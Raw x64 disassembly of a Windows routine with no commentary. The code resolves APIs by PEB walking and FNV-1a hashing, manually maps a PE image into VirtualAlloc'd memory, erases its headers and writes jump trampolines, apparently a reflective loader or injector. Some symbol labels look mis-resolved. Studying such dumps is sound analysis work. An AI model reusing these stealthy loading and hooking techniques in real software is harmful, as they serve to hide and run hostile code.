mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x340]
call fcn.14004adc0
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xd0]
call fcn.14004b0f0
mov rax, qword [0x1401d5648]
mov rcx, r15
call rax
mov rbx, rax
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x340]
call fcn.14004b0f0
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xa8]
call fcn.14004bef0
test al, al
jne 0x140057666
xor eax, eax
mov qword [rbp + 0x80], rax
jmp 0x14005766d
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14005752f
mov rax, qword [rbp + 0x80]
test al, al
jns 0x14005768b
and rax, rsi
or rax, 2
mov qword [rbp + 0x80], rax
lea r8, [rbp + 0x80]
jmp 0x1400578bb
mov r14, qword [0x1401d5640]
mov eax, 4
mov eax, dword [rdi + rax]
cmp dword [0x1401d56a0], eax
jle 0x1400577a2
lea rcx, [0x1401d56a0]
call fcn.1400d23c8
cmp dword [0x1401d56a0], 0xffffffff
jne 0x1400577a2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057757
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057757
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
mov edx, 0x353283c7
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140057752
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x140057730
cmp edx, 0x57b3f7d9
je 0x140057879
test r8d, r8d
jne 0x140057710
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14005776c
cmp qword [rax + 0x30], r13
jne 0x1400576e0
mov rdx, r13
lea rcx, [0x1400f90f0]
call rdx
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401d5648], rax
lea rcx, [0x1401d56a0]
call fcn.1400d235c
mov rdi, qword [rbp + 0x90]
lea rcx, reloc.WS2_32.dll_bind
call fcn.140048a50
mov dword [rbp + 0x350], 0x25ff
mov word [rbp + 0x354], r13w
mov qword [rbp + 0x356], r14
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xb0]
call fcn.14004adc0
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x350]
call fcn.14004b0f0
mov rax, qword [0x1401d5648]
mov rcx, r15
call rax
mov rbx, rax
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xb0]
call fcn.14004b0f0
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xa8]
call fcn.14004bef0
test al, al
jne 0x140057895
xor eax, eax
jmp 0x14005789c
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14005776f
mov rax, qword [rbp + 0xa0]
movabs rsi, 0x7ffffffffffffffd
and rax, rsi
or rax, 2
mov qword [rbp + 0xa0], rax
lea r8, [rbp + 0xa0]
mov r9d, 8
mov rdx, rbx
lea rcx, [rbp + 0xa8]
call fcn.14004c890
add r15, 0x1000
cmp r15, r12
jb 0x140057451
mov r13, qword [rbp + 0xc0]
mov r9d, 4
mov r8d, 0x3000
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r14, qword [rbp + 0x18]
mov r8d, dword [r14 + 0x54]
mov rdx, qword [rbp + 0x100]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r14 + 0x14]
add rbx, 0x28
xor r15d, r15d
mov edi, r15d
cmp r15w, word [r14 + 6]
jae 0x140057958
add rbx, r14
mov ecx, dword [rbx - 4]
add rcx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [rbp + 0x100]
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r14 + 6]
cmp edi, eax
jl 0x140057931
mov r12, qword [rbp]
mov rbx, r12
sub rbx, qword [r14 + 0x30]
mov rdx, rsi
lea rcx, [rbp + 0x118]
call fcn.140046cd0
mov rdx, rbx
mov rcx, rax
call fcn.1400465e0
mov rdx, rsi
lea rcx, [rbp + 0x118]
call fcn.140046e00
mov rcx, rax
call fcn.1400466e0
test al, al
jne 0x140057a8f
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x420]
call fcn.140047420
mov r14, rax
mov qword [rbp + 0xc0], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057a43
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057a43
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x2524e751
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140057a3e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140057a20
cmp edx, 0x113aebb1
je 0x140057a5b
test r8d, r8d
jne 0x140057a00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140057a73
cmp qword [rax + 0x30], 0
jne 0x1400579d0
jmp 0x140057a73
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r15d, dword [rcx + rdx*4]
add r15, r9
mov rcx, qword [rbp + 0x138]
call r15
test eax, eax
je 0x140057a8a
mov rcx, r14
call fcn.140053de0
nop
jmp 0x1400573ba
mov r8d, dword [r14 + 0x54]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov r9, r13
mov r8, rsi
mov rdx, r12
lea rcx, [rbp + 0xa8]
call fcn.14004c890
mov r14d, dword [r14 + 0x28]
add r14, r12
mov r15, qword [rbp + 0x18]
mov r15d, dword [r15 + 0x50]
mov rax, qword [rbp + 0x90]
mov ecx, 4
mov eax, dword [rax + rcx]
cmp dword [0x1401d568c], eax
jle 0x140057bcb
lea rcx, [0x1401d568c]
call fcn.1400d23c8
cmp dword [0x1401d568c], 0xffffffff
jne 0x140057bcb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057b87
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057b87
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x353283c7
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140057b82
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140057b60
cmp edx, 0x57b3f7d9
je 0x140057d58
test r8d, r8d
jne 0x140057b40
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140057b9d
cmp qword [rax + 0x30], 0
jne 0x140057b10
xor eax, eax
lea rcx, [0x1400f90f0]
call rax
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401d56e0], rax
lea rcx, [0x1401d568c]
call fcn.1400d235c
lea rcx, reloc.WS2_32.dll_bind
call fcn.140048a50
mov dword [rbp + 0x350], 0x25ff
mov word [rbp + 0x354], 0
mov qword [rbp + 0x356], r14
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xb0]
call fcn.14004adc0
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x350]
call fcn.14004b0f0
mov rdx, r15
mov rcx, r12
call qword [0x1401d56e0]
mov edx, 5
lea rcx, [0x1401d53f0]
call fcn.14004ea80
mov rcx, rax
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xb0]
call fcn.14004b0f0
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x420]
call fcn.140047420
mov r14, rax
mov qword [rbp + 0xc0], rax
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rdi, rsi
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140057d23
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140057d23
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x2524e751
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140057d1e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140057d00
cmp edx, 0x113aebb1
je 0x140057d74
test r8d, r8d
jne 0x140057ce0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140057d39
cmp qword [rax + 0x30], 0
jne 0x140057cb0
xor eax, eax
mov rcx, qword [rbp + 0x138]
call rax
test eax, eax
je 0x140057d8d
mov rcx, r14
call fcn.140053de0
test al, al
je 0x140057d8d
mov bl, 1
jmp 0x140057d8f
mov eax, dword [rbx + 0x24]
add rax, r9
movzx edx, word [rax + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140057b9f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
jmp 0x140057d3b
xor bl, bl
mov rcx, r14
call fcn.140044e30
test bl, bl
je 0x1400573c3
lea rcx, [rbp + 0x140]
call fcn.140044e30
nop
lea rcx, [rbp + 0x1e0]
call fcn.140044e30
lea rcx, [rbp + 0x1c0]
call fcn.140044e30
nop
lea rcx, [rbp + 0x100]
call fcn.140062c30
nop
mov rcx, qword [rbp + 0x10]
call fcn.140044e30
jmp 0x140057404